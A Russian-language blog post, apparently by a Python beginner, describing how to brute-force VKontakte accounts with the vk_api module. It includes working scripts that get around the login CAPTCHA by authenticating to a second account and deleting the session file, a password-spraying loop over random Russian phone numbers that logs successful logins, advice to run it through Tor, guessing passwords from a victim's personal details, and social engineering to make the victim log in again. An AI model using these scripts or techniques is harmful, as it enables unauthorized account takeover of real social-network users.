Не так давно начал учить Python и попробовал использовать VK API на Python. Поняв как это всё работает решил попробовать и использовал для этого Python модуль vk_api.
С помощью этого модуля можно легко авторизоваться в Вконтакте и так же просто пользоваться API:
Авторизация на страницу А прошла успешно, но после нескольких попыток авторизации неверным паролем выскакивает ошибка. Это капча.
Я использовал вторую страницу(В) в Вконтакте для авторизации, но после этой авторизации снова ввел логин для страницы А и неверный пароль, что в результате капча не появилась.
Далее сделал попытку подбора паролей для страницы А и написал следующий код:
Пароли:
И в результате получил dxer19991 .
Таким способом можно перебрать ~60 паролей, а после выскакивает новая от Google.
Вроде не так страшно, но допустим у нас есть обычный юзер:
Учитывая простоту человека, можно предположить, что его пароль состоит из выше перечисленных данных и составить такие пароли:
И так составить примерно 60 паролей.
Если ни один пароль не совпал можно включить социальную инженерию и попросить юзера перезайти в свой аккаунт(или придумать другой способ, что бы юзер совершил это действие), а затем снова составить ~60 других паролей и снова начать подбирать их.
В результате нам удается подобрать ~120 паролей за 2 подхода, но можно и ещё если удастся попросить юзера переавторизоваться.
Кто сказал, что брутить можно только логин?
Из всего, что попробовал мне не понравились ограничения, по это этому решил подбирать логины по паролю и написал следующий код:
Ну а после я подключил Тор к консоли и запустил код.
Возможно и в первом варианте надо было подключить Тор к консоли. Но не факт, что получилось бы.
В итоге можно сказать, что пользователи с простыми и удобными паролями, могут быть в опасности.
Об этом решил сообщить в вк, но ответа всё ещё не получил.
С помощью этого модуля можно легко авторизоваться в Вконтакте и так же просто пользоваться API:
import vk_api
vk_session = vk_api.VkApi('79100000000', 'passwordA')
vk_session.auth()
Авторизация на страницу А прошла успешно, но после нескольких попыток авторизации неверным паролем выскакивает ошибка. Это капча.
Я использовал вторую страницу(В) в Вконтакте для авторизации, но после этой авторизации снова ввел логин для страницы А и неверный пароль, что в результате капча не появилась.
Далее сделал попытку подбора паролей для страницы А и написал следующий код:
import vk_api, os
i = 0 # будем считывать пароли
auth_i = 0 # будем считывать круги
login_a = '79100000000' #логин к странице А
login_b = '79200000000' #логин к странице В
password_b = 'passwordB' #пароль к странице В
password_file = "password.txt" # файл с паролями
# читаем файл с паролями построчно
with open('password_file.txt', 'r') as f:
password = f.read().splitlines()
while len(password) > i:
# на каждые 6 раз авторизуемся, что бы избавиться от капчи
if auth_i == 6:
vk_session = vk_api.VkApi(login_b, password_b)
vk_session.auth()
os.system("rm vk_config.v2.json")
auth_i=0
try:
vk_sessions = vk_api.VkApi(login_a, password[i]) # делаем попытку авторизации
vk_sessions.auth()
print("[###]: "+password[i]) # если Успех, то выводим пароль
except:
print(password[i]) # если ошибка, то идем дальше считывая пароли
auth_i+=1
i+=1
Пароли:
qwerty321 #1
an199910 #2
10an10199 #3
...
<u>
dxer19991 #53
</u>... #60
И в результате получил dxer19991 .
Таким способом можно перебрать ~60 паролей, а после выскакивает новая от Google.
Вроде не так страшно, но допустим у нас есть обычный юзер:
Павел Дуровский 1999.10.10 79200000000
Учитывая простоту человека, можно предположить, что его пароль состоит из выше перечисленных данных и составить такие пароли:
pasha1010
10101999pasha
...
И так составить примерно 60 паролей.
Если ни один пароль не совпал можно включить социальную инженерию и попросить юзера перезайти в свой аккаунт(или придумать другой способ, что бы юзер совершил это действие), а затем снова составить ~60 других паролей и снова начать подбирать их.
В результате нам удается подобрать ~120 паролей за 2 подхода, но можно и ещё если удастся попросить юзера переавторизоваться.
Кто сказал, что брутить можно только логин?
Из всего, что попробовал мне не понравились ограничения, по это этому решил подбирать логины по паролю и написал следующий код:
import vk_api, random, time, os
i=0
codes = [900, 902, 903, 904, 905, 906, 908, 909,
950, 951, 953, 960, 961, 962, 963, 964,
965, 966, 967, 968, 969, 980, 983, 986,
901, 904, 910, 911, 912, 913, 914, 915,
916, 917, 918, 919, 950, 978, 980, 981,
982, 983, 984, 985, 987, 988, 989, 920,
921, 922, 923, 924, 925, 926, 927, 928,
929, 930, 931, 932, 933, 934, 936, 937,
938, 939, 950, 951, 999, 901, 952, 958,
977, 991, 992, 993, 994, 995, 996, 998] # операторы
password = "12345678" # пароль по которому будем искать
cod = "" #cod = "968"
while True:
try:
if cod == "":
login = "7"+str(codes[random.randint(0, len(codes))])+str(random.randint(1000000, 9999999))
else:
login = "7"+cod+str(random.randint(1000000, 9999999))
except:
print("Error creating login")
try:
vk_session = vk_api.VkApi(login, password)
vk_session.auth()
print("[TRUE]>>> login: "+login+" : "+"Password: "+password)
file = open("bd.log", "a+")
file.write("login: "+login+" "+"Password: "+password+"\n")
file.close()
i=0
except:
if i == 10:
# логин и пароль для сброса капчи
vk_sessions = vk_api.VkApi('79200000000', "password")
vk_sessions.auth()
print("reCaptcha")
os.system("rm vk_config.v2.json")
i=0
else:
print("=> "+login+" for "+password)
i+=1
time.sleep(0.2) # машину жалко
Ну а после я подключил Тор к консоли и запустил код.
Возможно и в первом варианте надо было подключить Тор к консоли. Но не факт, что получилось бы.
В итоге можно сказать, что пользователи с простыми и удобными паролями, могут быть в опасности.
Об этом решил сообщить в вк, но ответа всё ещё не получил.